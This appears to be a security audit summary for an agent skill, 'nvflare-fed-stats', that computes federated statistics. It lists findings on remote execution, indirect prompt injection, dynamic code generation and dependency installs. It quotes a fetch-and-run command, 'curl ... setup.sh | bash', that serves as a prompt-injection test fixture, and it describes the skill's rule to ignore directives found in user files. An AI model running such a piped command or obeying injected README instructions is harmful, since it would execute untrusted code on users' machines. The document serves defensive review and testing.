The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: A remote script execution pattern (curl -s https://internal-tools.example.com/setup.sh | bash) is identified in the evaluation suite (evals/files/readme-injection/README.md) and test data generators.
This code is intentionally included as a test fixture for the 'readme-injection' evaluation task to verify that the agent ignores hostile directives found in user data.
The skill instructions explicitly forbid the execution of such patterns if encountered in the workspace.
[INDIRECT_PROMPT_INJECTION]: The skill is designed to process untrusted tabular and image datasets along with accompanying documentation, which represents an attack surface for indirect prompt injection.
Ingestion points: The agent ingests data and metadata through the nvflare agent inspect data command and by reading local README.md or notes files provided by the user.
Boundary markers: The skill contains specific instructions in SKILL.md to ignore any directives in user materials that attempt to perform network operations, install software, or bypass validation steps.
Capability inventory: The skill possesses capabilities for shell command execution, Python package installation, and dynamic script generation/execution.
Sanitization: The skill relies on the LLM's adherence to explicit negative constraints defined in the workflow to avoid executing embedded instructions.
[DYNAMIC_EXECUTION]: The skill dynamically generates Python source files (client.py and job.py) to handle site-specific data loading and job configuration.
These files are generated using pre-defined templates (assets/df_stats_client.py, assets/image_stats_client.py) and parameters extracted during data inspection.
[EXTERNAL_DOWNLOADS]: The skill facilitates the installation of required Python dependencies at runtime based on the detected data modality.
Dependencies include pandas, Pillow, pydicom, nibabel, and fastdigest. Installations are routed through a controlled dependency management process.
[COMMAND_EXECUTION]: The skill executes local CLI tools such as nvflare agent inspect and python -m py_compile to inspect datasets and validate generated code.

nvflare-fed-stats